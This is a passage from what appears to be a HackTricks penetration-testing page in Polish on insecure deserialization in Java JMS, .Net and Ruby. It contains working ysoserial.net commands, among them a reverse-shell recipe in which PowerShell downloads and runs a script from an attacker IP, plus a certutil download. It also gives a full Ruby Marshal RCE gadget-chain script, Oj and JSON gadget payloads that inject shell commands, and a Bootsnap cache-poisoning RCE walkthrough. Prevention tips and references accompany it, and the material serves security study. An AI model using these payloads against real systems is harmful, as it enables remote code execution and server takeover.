Leveraging External Libraries for Enhanced Security: Biblioteki takie jak NotSoSerial, jdeserialize i Kryo oferują zaawansowane funkcje do kontroli i monitorowania Java deserialization. Te biblioteki mogą zapewnić dodatkowe warstwy bezpieczeństwa, takie jak whitelisting albo blacklisting klas, analizowanie serialized obiektów przed deserialization oraz wdrażanie niestandardowych strategii serialization.
- NotSoSerial przechwytuje procesy deserialization, aby zapobiegać wykonaniu nieufnego kodu.
- jdeserialize pozwala na analizę serialized Java obiektów bez ich deserialization, co pomaga zidentyfikować potencjalnie złośliwą zawartość.
- Kryo jest alternatywnym frameworkiem serialization, który kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serialization, które mogą poprawić bezpieczeństwo.
Referencje
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Znajdź, czym jest JNDI Injection, jak go nadużyć przez RMI, CORBA & LDAP oraz jak exploitować log4Shell (i przykład tej podatności) na następującej stronie:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API jest Java message-oriented middleware API do wysyłania wiadomości pomiędzy dwoma lub większą liczbą klientów. Jest implementacją do obsługi problemu producent–konsument. JMS jest częścią Java Platform, Enterprise Edition (Java EE) i został zdefiniowany przez specyfikację opracowaną w Sun Microsystems, która od tego czasu jest prowadzona przez Java Community Process. Jest to standard komunikacyjny, który pozwala komponentom aplikacji opartym na Java EE tworzyć, wysyłać, odbierać i odczytywać wiadomości. Pozwala na luźne sprzężenie, niezawodność i asynchroniczną komunikację pomiędzy różnymi komponentami rozproszonej aplikacji. (Z Wikipedia).
Products
Istnieje kilka produktów używających tego middleware do wysyłania wiadomości:
Exploitation
Tak naprawdę istnieje duża liczba serwisów używających JMS w niebezpieczny sposób. W związku z tym, jeśli masz wystarczające uprawnienia do wysyłania wiadomości do tych serwisów (zwykle potrzebne będą prawidłowe credentials), możesz być w stanie wysłać złośliwe serialized obiekty, które zostaną deserialized przez consumer/subscriber.
Oznacza to, że przy takim ataku wszyscy klienci, którzy użyją tej wiadomości, zostaną zainfekowani.
Należy pamiętać, że nawet jeśli serwis jest podatny (ponieważ insecurely deserializuje dane od użytkownika), nadal musisz znaleźć odpowiednie gadgets, aby wykorzystać podatność.
Narzędzie JMET zostało stworzone, aby połączyć się i zaatakować te serwisy, wysyłając wiele złośliwych serialized obiektów używając znanych gadgets. Te exploity zadziałają, jeśli serwis nadal jest podatny i jeśli którykolwiek z użytych gadgets znajduje się w podatnej aplikacji.
Referencje
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
W kontekście .Net, exploity deserialization działają w sposób podobny do tych spotykanych w Java, gdzie gadgets są wykorzystywane do uruchomienia określonego kodu podczas deserialization obiektu.
Fingerprint
WhiteBox
Kod źródłowy powinien być sprawdzony pod kątem wystąpień:
TypeNameHandling
JavaScriptTypeResolver
Skup się na serializerach, które pozwalają na określenie typu przez zmienną kontrolowaną przez użytkownika.
BlackBox
Wyszukiwanie powinno celować w Base64 zakodowany ciąg AAEAAAD///// lub w dowolny podobny wzorzec, który może zostać deserialized po stronie serwera, dając kontrolę nad typem, który zostanie deserialized. Może to obejmować, ale nie ogranicza się do, struktury JSON lub XML zawierające TypeObject
lub $type
.
ysoserial.net
W tym przypadku możesz użyć narzędzia ysoserial.net aby stworzyć exploity deserialization. Po pobraniu repozytorium git powinieneś skompilować narzędzie używając Visual Studio na przykład.
Jeśli chcesz dowiedzieć się, jak ysoserial.net tworzy swoje exploit y, możesz sprawdzić tę stronę, gdzie wyjaśniono ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
Główne opcje ysoserial.net to: --gadget
, --formatter
, --output
oraz --plugin
.
--gadget
używane do wskazania gadgeta do nadużycia (wskazania klasy/funkcji, która zostanie wykorzystana podczas deserialization do wykonania poleceń).--formatter
używane do wskazania metody serializacji exploita (musisz wiedzieć, której biblioteki używa backend do deserialization payloadu i użyć tej samej do serializacji).--output
używane do wskazania, czy chcesz exploit w formacie raw czy base64. Uwaga: ysoserial.net zakoduje payload używając UTF-16LE (kodowanie domyślne na Windows), więc jeśli otrzymasz raw i po prostu zakodujesz go z poziomu konsoli linux możesz mieć problemy z kompatybilnością encodingu, które uniemożliwią poprawne działanie exploita (w HTB JSON box payload zadziałał zarówno w UTF-16LE jak i ASCII, ale nie oznacza to, że zawsze tak będzie).--plugin
ysoserial.net wspiera pluginy do tworzenia exploitów dla konkretnych frameworków jak ViewState
More ysoserial.net parameters
--minify
zapewni mniejszy payload (jeśli to możliwe)--raf -f Json.Net -c "anything"
To wskaże wszystkie gadgets, które mogą być użyte z podanym formatterem (Json.Net
w tym przypadku)--sf xml
możesz wskazać gadget (-g
) i ysoserial.net przeszuka formattery zawierające "xml" (case insensitive)
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net ma także bardzo interesujący parametr, który pomaga lepiej zrozumieć, jak działa każdy exploit: --test
Jeśli podasz ten parametr, ysoserial.net spróbuje exploit lokalnie, dzięki czemu możesz sprawdzić, czy twój payload zadziała poprawnie.
Ten parametr jest przydatny, ponieważ przeglądając kod znajdziesz fragmenty kodu podobne do poniższego (z ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Oznacza to, że aby przetestować exploit, kod wywoła serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
W poprzedni kod jest podatny na utworzony exploit. Więc jeśli znajdziesz coś podobnego w aplikacji .Net, oznacza to, że prawdopodobnie ta aplikacja też jest podatna.
Dlatego parametr --test
pozwala nam zrozumieć, które fragmenty kodu są podatne na eksploit deserializacji, który może wygenerować ysoserial.net.
ViewState
Zobacz ten POST o tym, jak spróbować wykorzystać parametr __ViewState w .Net, aby wykonać dowolny kod. Jeśli już znasz sekrety używane przez maszynę ofiary, przeczytaj ten post, aby dowiedzieć się jak uruchomić kod.
Zapobieganie
Aby zredukować ryzyko związane z deserializacją w .Net:
- Unikaj pozwalania strumieniom danych na definiowanie typów obiektów. Używaj
DataContractSerializer
lubXmlSerializer
, gdy to możliwe. - Dla
JSON.Net
, ustawTypeNameHandling
naNone
:TypeNameHandling = TypeNameHandling.None
- Unikaj używania
JavaScriptSerializer
zJavaScriptTypeResolver
. - Ogranicz typy, które mogą być deserializowane, rozumiejąc wrodzone ryzyko związane z typami .Net, takimi jak
System.IO.FileInfo
, które mogą zmieniać właściwości plików na serwerze, potencjalnie prowadząc do ataków typu denial of service. - Bądź ostrożny z typami posiadającymi ryzykowne właściwości, jak
System.ComponentModel.DataAnnotations.ValidationException
z właściwościąValue
, która może być wykorzystana. - Bezpiecznie kontroluj tworzenie instancji typów, aby zapobiec możliwości wpływania przez atakujących na proces deserializacji, co może uczynić nawet
DataContractSerializer
lubXmlSerializer
podatnymi. - Wdrażaj kontrolę białej listy używając niestandardowego
SerializationBinder
dlaBinaryFormatter
iJSON.Net
. - Bądź na bieżąco ze znanymi niebezpiecznymi gadżetami deserializacji w .Net i upewnij się, że deserializatory nie tworzą instancji takich typów.
- Izoluj potencjalnie ryzykowny kod od kodu z dostępem do internetu, aby nie narażać znanych gadżetów, takich jak
System.Windows.Data.ObjectDataProvider
w aplikacjach WPF, na nieufane źródła danych.
Referencje
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, prezentacja: https://www.youtube.com/watch?v=oUAeWhW5b8c i slajdy: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
W Ruby serializacja jest realizowana przez dwie metody w bibliotece marshal. Pierwsza metoda, znana jako dump, służy do przekształcenia obiektu w strumień bajtów — proces ten nazywamy serializacją. Z kolei druga metoda, load, służy do przywrócenia strumienia bajtów do obiektu — proces ten nazywamy deserializacją.
Aby zabezpieczyć serializowane obiekty, Ruby używa HMAC (Hash-Based Message Authentication Code), zapewniając integralność i autentyczność danych. Klucz używany do tego celu jest przechowywany w jednym z następujących miejsc:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ogólny łańcuch gadżetów deserializacji w Ruby 2.X prowadzący do RCE (więcej informacji w https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Inny łańcuch RCE do wykorzystania w Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Metoda Ruby .send()
Jak wyjaśniono w tym raporcie o podatności, jeśli niesanitizowane dane wejściowe użytkownika trafią do metody .send()
obiektu ruby, metoda ta pozwala wywołać dowolną inną metodę obiektu z dowolnymi parametrami.
Na przykład, wywołanie eval, a następnie przekazanie kodu ruby jako drugiego parametru, pozwoli na wykonanie dowolnego kodu:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Co więcej, jeśli tylko jeden parametr .send()
jest kontrolowany przez atakującego, jak wspomniano we wcześniejszym opisie, możliwe jest wywołanie dowolnej metody obiektu, która nie wymaga argumentów lub której argumenty mają wartości domyślne.\
W tym celu można wyenumerować wszystkie metody obiektu, aby znaleźć jakieś interesujące metody spełniające te wymagania.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Sprawdź, jak możliwe jest pollute a Ruby class and abuse it in here.
Ruby _json pollution
Gdy w body zostaną wysłane wartości, które nie są hashowalne, np. tablica, zostaną one dodane do nowego klucza o nazwie _json
. Jednakże atakujący może też ustawić w body wartość o nazwie _json
z dowolnymi wartościami, jakie sobie życzy. Wtedy, jeśli backend np. sprawdza poprawność parametru, ale następnie używa parametru _json
do wykonania jakiejś akcji, może dojść do obejścia autoryzacji.
Zobacz więcej informacji na Ruby _json pollution page.
Inne biblioteki
Ta technika została zaczerpnięta from this blog post.
Istnieją inne biblioteki Ruby, które mogą być użyte do serialize obiektów i które mogą zostać wykorzystane do uzyskania RCE podczas insecure deserialization. Poniższa tabela pokazuje niektóre z tych bibliotek oraz metodę wywoływaną po załadowaniu klasy, gdy zostanie unserialized (funkcja do wykorzystania, żeby uzyskać RCE):
Biblioteka | Dane wejściowe | Metoda inicjująca wewnątrz klasy |
Marshal (Ruby) | Binary | _load |
Oj | JSON | hash (klasa musi być umieszczona w hash(map) jako klucz) |
Ox | XML | hash (klasa musi być umieszczona w hash(map) jako klucz) |
Psych (Ruby) | YAML | hash (klasa musi być umieszczona w hash(map) jako klucz)init_with |
JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Podstawowy przykład:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
W przypadku próby nadużycia Oj udało się znaleźć klasę gadgetu, która wewnątrz swojej funkcji hash
wywołuje to_s
, które wywołuje spec
, które wywołuje fetch_path
— i którą można było zmusić do pobrania losowego URL, co daje świetny wykrywacz tego rodzaju unsanitized deserialization vulnerabilities.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Ponadto stwierdzono, że przy użyciu poprzedniej techniki w systemie tworzony jest również katalog, który jest wymagany do wykorzystania innego gadgetu, aby przekształcić to w pełne RCE za pomocą czegoś takiego:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
Poniżej krótka synteza kroków opisanych w artykule, służących do wykorzystania arbitrary file write poprzez nadużycie cache Bootsnap:
- Identify the Vulnerability and Environment
Funkcja uploadu plików w aplikacji Rails pozwala atakującemu na arbitrary file write. Chociaż aplikacja działa z ograniczeniami (tylko niektóre katalogi, takie jak tmp, są zapisywalne z powodu uruchomienia w Dockerze jako non-root user), nadal umożliwia to zapis do katalogu cache Bootsnap (zazwyczaj pod tmp/cache/bootsnap).
- Understand Bootsnap’s Cache Mechanism
Bootsnap przyspiesza uruchamianie Rails, buforując skompilowany kod Ruby, pliki YAML i JSON. Zapisuje pliki cache, które zawierają nagłówek cache key (z polami takimi jak RUBY_VERSION, file size, mtime, compile options, itd.), po którym następuje skompilowany kod. Ten nagłówek jest używany do walidacji cache podczas startu aplikacji.
- Gather File Metadata
Atakujący wybiera najpierw docelowy plik, który prawdopodobnie ładuje się podczas startu Rails (np. set.rb z biblioteki standardowej Ruby). Uruchamiając kod Ruby wewnątrz kontenera, wydobywa krytyczne metadane (takie jak RUBY_VERSION, RUBY_REVISION, size, mtime i compile_option). Dane te są niezbędne do stworzenia poprawnego cache key.
- Compute the Cache File Path
Poprzez odtworzenie mechanizmu haszowania FNV-1a 64-bit używanego przez Bootsnap, ustala się poprawną ścieżkę pliku cache. Ten krok zapewnia, że złośliwy plik cache zostanie umieszczony dokładnie tam, gdzie Bootsnap go oczekuje (np. w katalogu tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File
Atakujący przygotowuje payload, który:
- wykonuje arbitrary commands (np. uruchamia id, aby pokazać info o procesie),
- usuwa złośliwy cache po wykonaniu, aby zapobiec rekurencyjnemu wykorzystaniu,
- ładuje oryginalny plik (np. set.rb), by nie spowodować awarii aplikacji.
Ten payload jest kompilowany do binarnego kodu Ruby i doklejany do starannie skonstruowanego cache key header (z użyciem wcześniej zebranych metadanych i poprawnego numeru wersji Bootsnap).
- Overwrite and Trigger Execution
Wykorzystując arbitrary file write, atakujący zapisuje przygotowany plik cache w obliczonej lokalizacji. Następnie wywołuje restart serwera (zapisując do tmp/restart.txt, które jest monitorowane przez Puma). Podczas restartu, kiedy Rails załaduje docelowy plik (wywołując require), złośliwy plik cache zostaje załadowany, co skutkuje remote code execution (RCE).
Ruby Marshal exploitation in practice (updated)
Treat any path where untrusted bytes reach Marshal.load
/marshal_load
as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
- Minimalna podatna ścieżka kodu Rails:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Powszechne klasy gadgetów spotykane w real chains:
Gem::SpecFetcher
,Gem::Version
,Gem::RequestSet::Lockfile
,Gem::Resolver::GitSpecification
,Gem::Source::Git
. - Typowy znacznik efektu ubocznego osadzony w payloads (wykonywany podczas unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Gdzie pojawia się w rzeczywistych aplikacjach:
- Rails cache stores and session stores historically using Marshal
- Background job backends and file-backed object stores
- Any custom persistence or transport of binary object blobs
Zindustrializowane wykrywanie gadgetów:
- Grep for constructors,
hash
,_load
,init_with
, or side-effectful methods invoked during unmarshal - Use CodeQL’s Ruby unsafe deserialization queries to trace sources → sinks and surface gadgets
- Weryfikuj za pomocą publicznych PoC-ów wieloformatowych (JSON/XML/YAML/Marshal)
Referencje
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.